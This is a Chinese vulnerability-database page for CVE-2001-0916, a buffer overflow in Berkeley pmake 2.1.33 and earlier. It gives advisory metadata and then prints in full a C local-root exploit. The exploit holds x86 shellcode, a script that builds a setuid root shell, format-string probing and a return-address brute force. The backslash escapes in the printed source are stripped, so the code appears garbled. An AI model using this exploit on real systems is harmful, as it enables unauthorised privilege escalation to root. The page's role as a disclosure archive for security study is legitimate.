Berkeley Paralle Make缓冲区溢出漏洞
漏洞ID | 1106522 | 漏洞类型 | 缓冲区溢出 |
发布时间 | 2001-11-21 | 更新时间 | 2005-10-20 |
CVE编号 | CVE-2001-0916 |
CNNVD-ID | CNNVD-200111-023 |
漏洞平台 | Linux | CVSS评分 | 7.2 |
|漏洞来源
|漏洞详情
Berkeleyparallelmake(pmake)2.1.33及其早期版本存在缓冲区溢出漏洞。本地用户可以借助shell定义的超长check参数提升根目录特权。
|漏洞EXP
source: http://www.securityfocus.com/bid/3573/info
Parallel Make (pmake) is a freely available version of the make program, originally distributed with Berkeley Unix. It is designed to execute Makefiles and build programs.
pmake is not typically setuid root, although some Linux distributions default to installing it this way. When a Makefile is executed by pmake, certain user-defined variables can be set in the Makefile by the user. One such variable is the shell definition variable, or .SHELL. By supplying a string of greater than 512 characters in the check= field of the .SHELL variable, it is possible to overwrite the return address, and execute of arbitrary code with root privileges.
/****************************************************************
* *
* Pmake <= 2.1.33 local root exploit *
* coded by IhaQueR@IRCnet *
* compile with gcc -pmexpl-c -o pm *
* meet me at HAL '2001 *
* *
****************************************************************/
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>
// some definitions
#define TARGET "/usr/bin/pmake"
#define MKFILE "Makefile"
#define MKMSH "./mkmsh"
#define TMPLEN 256
#define USERSTACK 0xc0000000u
#define NN "E[m"
#define GR "E[32m"
#define RD "E[31m"
#define BL "E[34m"
#define BD "E[1m"
#define FL "E[5m"
#define UL "E[4m"
extern char **environ;
static const char *banner = "n"
BL"*****************************************n"
"*ttttt*n"
"*tpmake local root exploitt*n"
"*tby "FL"IhaQueR@IRCnet"NN BL" '2001tt*n"
"*ttttt*n"
"*****************************************n"
"n"NN;
static const char *usage = "n"
UL"USAGE:"NN " %st-w <wlen delta, try -32,...,32>n"
"tt-s <shell addr>n"
"tt-a <ret addr 0xbfff73c0 for orig SuSE 7.1 and pmake
2.1.33>n"
"tt-m <attempts>n"
"tt-p <%%g preload>n"
"n";
static const char *mkfile = "all:nt-echo blahnn.SHELL : path=/bin/sh
echo="" quiet="" hasErrCtl=no check=";
// setresuid(0,0,0) shellcode
static char hellcode[]= "x31xc0x31xdbx31xc9x31xd2"
"xb0xa4xcdx80"
"xebx24x5ex8dx1ex89x5ex0bx33xd2x89x56x07x89x56x0f"
"xb8x1bx56x34x12x35x10x56x34x12x8dx4ex0bx8bxd1xcd"
"x80x33xc0x40xcdx80xe8xd7xffxffxff./mkmsh";
// our suid shell maker
static char mkmsh[] = "#!/bin/bashn"
"cat <<__DUPA__>sush.cn"
"#include <stdio.h>n"
"#include <unistd.h>n"
"main() {setuid(geteuid()); execl("/bin/bash", "/bin/bash",
NULL);}n"
"__DUPA__n"
"gcc sush.c -o sush >/dev/null 2>&1n"
"chown 0.0 sushn"
"chmod u+s sushn";
static char *fromenv[] = { "TERM",
"HOME",
"PATH"
};
#define numenv (sizeof(fromenv)/sizeof(char*)+2)
static char *myenv[numenv];
static char eb[numenv][TMPLEN];
int cn=0;
void child_kill(int v)
{
cn--;
}
int do_fork()
{
cn++;
return fork();
}
int main(int ac, char** av)
{
int pd[2], fd, mk, i, j, res, pid, cnt, flip, mx, wdel;
unsigned *up, pad, wlen, shadr, wadr, len1, old, idx, gprel;
unsigned char *ptr;
char buf[16384];
char buf2[16384];
char aaaa[1024*32];
char head[64];
struct stat sb;
fd_set rs;
// setup defaults
// shell address is calculated from user stack location and the big nop
buffer...should work :-/
shadr = USERSTACK - sizeof(aaaa)/2;
wadr = 0xbfff73b0;
mx = 512;
gprel=150;
wdel=0;
setpgrp();
setsid();
printf(banner);
// parse options
if(ac!=1) {
res = getopt(ac, av, "hw:s:a:m:p:");
while(res!=-1) {
switch(res) {
case 'w' :
wdel = atoi(optarg);
break;
case 's' :
sscanf(optarg, "%x", &shadr);
break;
case 'a' :
sscanf(optarg, "%x", &wadr);
break;
case 'm' :
sscanf(optarg, "%d", &mx);
break;
case 'p' :
sscanf(optarg, "%d", &gprel);
if(gprel==0)
gprel=1;
break;
case 'h' :
default :
printf(usage, av[0]);
exit(0);
break;
}
res = getopt(ac, av, "hw:s:a:m:p:");
}
}
// phase 1 : setup
printf("nn"BD BL"* PHASE 1n"NN);
// prepare environ
printf("ntpreparing new environment");
memset(aaaa, 'A', sizeof(aaaa));
aaaa[4]='=';
up=(unsigned*)(aaaa+5);
for(i=0; i<sizeof(aaaa)/sizeof(int)-2; i++)
up[i]=0x41424344;
aaaa[sizeof(aaaa)-1]=0;
len1=strlen(aaaa);
// buffer overflow :-)
myenv[0]=aaaa;
for(i=1; i<numenv-1; i++) {
myenv[i]=eb[i-1];
strcpy(eb[i-1], fromenv[i-1]);
if(!strchr(fromenv[i-1], '=')) {
strcat(eb[i-1], "=");
strcat(eb[i-1], getenv(fromenv[i-1]));
}
}
myenv[numenv-1]=NULL;
// clean
printf("ntcleaning");
unlink("LOCK.make");
unlink("sush");
unlink("sush.c");
unlink("mkmsh");
system("rm -rf /tmp/make* >/dev/null 2>&1");
// our suid shell
printf("ntpreparing shell script");
mk = open(MKMSH, O_WRONLY|O_CREAT|O_TRUNC, S_IRWXU|S_IXGRP|S_IXOTH);
if(mk<0)
perror("open"), exit(1);
write(mk, mkmsh, strlen(mkmsh));
close(mk);
// comm pipe
printf("ntallocating pipe");
res = pipe(pd);
if(res<0)
perror("pipe"), exit(2);
// redirect stdin/out
printf("ntstdout/in preparation");
res = dup2(pd[1], 2);
if(res<0)
perror("dup2"), exit(3);
fd = open("/dev/null", O_RDWR);
if(fd<0)
perror("open"), exit(4);
// our makefile
printf("ntgenerating Makefile");
mk = open(MKFILE, O_WRONLY|O_CREAT|O_TRUNC, S_IRWXU);
if(mk<0)
perror("open"), exit(5);
write(mk, mkfile, strlen(mkfile));
for(i=0; i<gprel; i++)
write(mk, "%g", 2);
fsync(mk);
// child killer
printf("ntfinished setup");
if(signal(SIGCHLD, &child_kill)==SIG_ERR)
perror("signal"), exit(6);
// phase 2 : dig format string
printf("nnn" BD BL "* PHASE 2n"NN);
printf("ntdigging magic string:t");
cnt=0;
while(1) {
lseek(mk, -2, SEEK_CUR);
write(mk, "%g%x", 4);
fsync(mk);
usleep(1);
pid = do_fork();
// get child output
if(pid) {
printf("%4d ", cnt);
fflush(stdout);
do {
bzero(buf, sizeof(buf));
res = read(pd[0], buf, sizeof(buf)-1);
if(res > 128) {
break;
}
} while(1);
kill(SIGTERM, pid);
usleep(1);
waitpid(pid, NULL, WUNTRACED);
bzero(buf2, sizeof(buf2));
read(pd[0], buf2, sizeof(buf2)-1);
if(waitpid(pid, NULL, WUNTRACED|WNOHANG)>0)
read(pd[0], buf2, sizeof(buf2)-1);
// look for padding
pad=-1;
if(strstr(buf, "41424344")) {
pad=0;
}
else if(strstr(buf, "42434441")) {
pad=1;
}
else if(strstr(buf, "43444142")) {
pad=2;
}
else if(strstr(buf, "44414243")) {
pad=3;
}
// if got the mark parse output for final string
if(pad!=-1) {
printf("ntfound mark, parsing output");
ptr = strtok(buf, "tn ");
while(ptr) {
if(strlen(ptr)>64)
break;
ptr = strtok(NULL, "tn ");
}
// calculate write length -6, -8 hm I'm dunno about the 16?
wlen=strlen(ptr)+wdel-16;
printf("ntFOUND magic string with pading=%d output length=%d",
pad, wlen);
// PHASE 3 : find write pos in aaaa
printf("nnn" BD BL "* PHASE 3n"NN);
printf("ntlooking for write position: ");
up=(unsigned*)(aaaa+5-pad);
cnt=0;
for(i=1; i<sizeof(aaaa)/sizeof(int)-1; i++) {
old=up[i];
up[i]=0xabcdef67;
printf("%4d ", i);
sprintf(head, "%x", up[i]);
fflush(stdout);
if(cn)
read(pd[0], buf2, sizeof(buf2)-1);
pid = do_fork();
if(pid) {
do {
bzero(buf, sizeof(buf));
FD_ZERO(&rs);
FD_SET(pd[0], &rs);
select(pd[0]+1, &rs, NULL, NULL, NULL);
res = read(pd[0], buf, sizeof(buf)-1);
if(res > 128) {
break;
}
} while(1);
kill(SIGTERM, pid);
usleep(1);
read(pd[0], buf2, sizeof(buf2)-1);
// up[i] is now the place for the beginning of our address field
if(strstr(buf, head)) {
printf(" * FOUND *");
fflush(stdout);
up[i]=old;
idx=i;
printf("ntFOUND write position at index=%d", i);
up[i]=old;
ptr = strtok(buf, "tn ");
while(ptr) {
if(strlen(ptr)>64)
break;
ptr = strtok(NULL, "tn ");
}
// construct write 'head':
printf("ntcreating final makefile");
fflush(stdout);
lseek(mk, -2, SEEK_CUR);
ptr = (unsigned char*)&shadr;
for(j=0; j<4; j++) {
flip = (((int)256) + ((int)ptr[j])) - ((int)(wlen % 256u));
wlen = wlen + flip;
sprintf(head+j*8, "%%%04dx%%n", flip);
}
head[32] = 0;
write(mk, head, strlen(head));
// brute force RET on the stack upon success
printf("ntcreating shell in the environment");
// create env shell
ptr = (unsigned char*)&(up[i+2*10]);
while(ptr<(unsigned char*)(aaaa+sizeof(aaaa)-4)) {
*ptr=0x90;
ptr++;
}
strncpy(aaaa+sizeof(aaaa)-strlen(hellcode)-1, hellcode,
strlen(hellcode));
aaaa[sizeof(aaaa)-1]=0;
if(len1!=strlen(aaaa)) {
printf(BD RD"nERROR: len changed!n"NN);
exit(7);
}
// phase 4: brute force
printf("nnn"BD BL"* PHASE 4n"NN);
printf("ntbrute force RET:t");
fflush(stdout);
cnt=0;
while(cnt<mx) {
for(j=0; j<4; j++) {
up[idx+2*j] = wadr + j%4;
up[idx+2*j+1] = wadr + j%4;
}
pid = do_fork();
if(pid) {
printf(" 0x%.8x", wadr);
fflush(stdout);
waitpid(pid, NULL, WUNTRACED);
res = stat("sush", &sb);
if(!res && sb.st_uid==0) {
printf(BD GR"nnParadox, created suid shell at
%s/sushnn"NN, getcwd(buf, sizeof(buf)-1));
system("rm -rf /tmp/make* >/dev/null 2>&1");
exit(0);
}
}
else {
res = dup2(fd, 1);
if(res<0)
perror("dup2"), exit(8);
res = dup2(fd, 2);
if(res<0)
perror("dup2"), exit(9);
execle(TARGET, TARGET, "-X", "-dj", NULL, myenv);
_exit(10);
}
if(cnt%8==7)
printf("ntttt");
cnt++;
wadr += 4;
}
// failure
printf(BD RD"nFAILED :-("NN);
system("rm -rf /tmp/make* >/dev/null 2>&1");
exit(11);
}
}
else {
res = dup2(fd, 1);
if(res<0)
perror("dup2"), exit(12);
execle(TARGET, TARGET, "-X", "-dj", NULL, myenv);
exit(13);
}
up[i]=old;
waitpid(pid, NULL, WUNTRACED);
}
printf(BD RD"ntstrange error, write pos not found!n"NN);
system("rm -rf /tmp/make* >/dev/null 2>&1");
exit(14);
ptr = strtok(buf, "n");
while(ptr) {
printf("nLINE [%s]", ptr);
ptr = strtok(NULL, "n");
}
exit(15);
}
// start target and read output
}
else {
res = dup2(fd, 1);
if(res<0)
perror("dup2"), exit(16);
execle(TARGET, TARGET, "-X", "-dj", NULL, myenv);
exit(17);
}
if(cnt%8==7)
printf("ntttt");
cnt++;
}
printf(BD RD"nFAILEDn"NN);
system("rm -rf /tmp/make* >/dev/null 2>&1");
return 0;
}
|参考资料
来源:BUGTRAQ
名称:20011121Advisory:Berkeleypmake
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=100638919720975&w;=2
来源:BID
名称:3573
链接:http://www.securityfocus.com/bid/3573
来源:XF
名称:pmake-shell-bo(7603)
链接:http://www.iss.net/security_center/static/7603.php
相关推荐: Hosting Controller User Profile Unauthorized Access Vulnerability
Hosting Controller User Profile Unauthorized Access Vulnerability 漏洞ID 1096525 漏洞类型 Access Validation Error 发布时间 2005-05-30 更新时间 2…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666